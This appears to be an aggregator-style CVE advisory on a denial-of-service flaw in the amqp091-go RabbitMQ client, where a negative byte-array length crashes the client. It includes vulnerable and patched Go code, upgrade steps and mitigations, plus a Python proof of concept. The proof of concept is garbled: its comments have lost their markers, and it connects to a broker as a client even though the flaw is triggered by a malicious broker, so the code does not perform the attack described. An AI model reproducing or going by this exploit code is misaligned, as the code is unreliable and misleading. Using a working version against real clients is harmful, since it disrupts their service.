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The vulnerability resides in the `readField` function within `read.go` of the RabbitMQ amqp091-go client library. When the client parses incoming AMQP frames, it encounters byte-array fields identified by the type tag ‘x’. For these fields, the function reads a 32-bit big-endian integer from the network stream to determine the length of the data payload that follows. The code at `read.go:253-263` performs this read using `binary.Read` into a variable declared as int32, which is a signed integer type. The critical flaw emerges when a malicious or compromised AMQP broker transmits a length value of 0xFFFFFFFF. In the context of a signed 32-bit integer, this hexadecimal value is interpreted as `-1` due to two’s complement representation. The function then passes this negative length directly to Go’s built-in `make()` function when attempting to allocate a byte slice: value := make([]byte, len). The `make()` function in Go requires a non-negative integer for slice length; providing a negative value triggers an immediate and unrecoverable runtime panic with the message panic: len out of range. Because the network reader goroutine operates without an explicit `recover()` wrapper to catch such panics, the panic propagates upward through the call stack until it reaches the Go runtime root. This ultimately terminates the entire host application process abruptly. The attack can be executed during two primary phases: connection establishment, where the broker sends a malicious `connection.start` handshake frame containing server-properties with an ‘x’ type field assigned a negative length, or during message delivery, where a message payload’s header table contains a malformed field matching the criteria. The impact is severe for availability, as a single malformed frame can reliably crash the client process, leading to a persistent Denial of Service if the client automatically reconnects and receives the same malicious payload repeatedly.
DailyCVE Form:
Platform: rabbitmq amqp091-go
Version: < 1.13.0
Vulnerability: Denial of Service
Severity: High (8.9)
date: 2026-09-16
Prediction: 2026-09-18
What Undercode Say:
Check current amqp091-go version in go.mod grep "amqp091-go" go.mod Update to patched version go get github.com/rabbitmq/[email protected] go mod tidy Verify updated version grep "amqp091-go" go.mod
// read.go:253-263 - Vulnerable code
case 'x':
var len int32
if err = binary.Read(r, binary.BigEndian, &len); err != nil {
return nil, err
}
value := make([]byte, len) // PANICS if len < 0
// Patched code in v1.13.0 - validates length before allocation
case 'x':
var len int32
if err = binary.Read(r, binary.BigEndian, &len); err != nil {
return nil, err
}
if len < 0 {
return nil, ErrSyntax
}
value := make([]byte, len)
Exploit: (Educational Purposes!)
!/usr/bin/env python3
PoC: Malformed AMQP frame with negative byte-array length
import socket
import struct
def craft_malicious_frame():
AMQP frame type: METHOD (1)
frame_type = b'\x01'
Channel: 0
channel = struct.pack('>H', 0)
Payload: connection.start method with malformed server-properties
Field type 'x' followed by length 0xFFFFFFFF
malicious_field = b'\x78' + b'\xFF\xFF\xFF\xFF'
Construct method frame (simplified representation)
payload = b'\x00\x0A' + b'\x00\x0A' + malicious_field
Frame size
size = struct.pack('>I', len(payload))
Frame end marker
frame_end = b'\xCE'
return frame_type + channel + size + payload + frame_end
def send_exploit(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
Send protocol header
s.send(b'AMQP\x00\x00\x09\x01')
Send malicious frame
s.send(craft_malicious_frame())
s.close()
Usage: send_exploit('target-broker', 5672)
Protection: from this CVE
Immediate mitigation: upgrade to amqp091-go v1.13.0 or later go get github.com/rabbitmq/[email protected] If immediate upgrade is not possible, implement connection-level timeout and restart policies with exponential backoff to limit DoS persistence Monitor for panic events in application logs grep -r "panic: len out of range" /var/log/ Use network segmentation to restrict AMQP broker access to trusted sources only Implement TLS mutual authentication for broker connections to prevent broker spoofing
Impact:
A successful exploitation results in a complete termination of the client application process. The availability impact is rated as High, as a single malformed frame delivered by a malicious or compromised AMQP broker can reliably and repeatedly crash the client. In environments where the client is configured for automatic reconnection, the attacker can maintain a persistent Denial of Service condition by continuously delivering the malformed payload, preventing the application from ever achieving stable operation. The confidentiality and integrity impacts are rated as None, as the vulnerability does not expose data or allow modification of data.
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Sources:
Reported By: github.com
Extra Source Hub:
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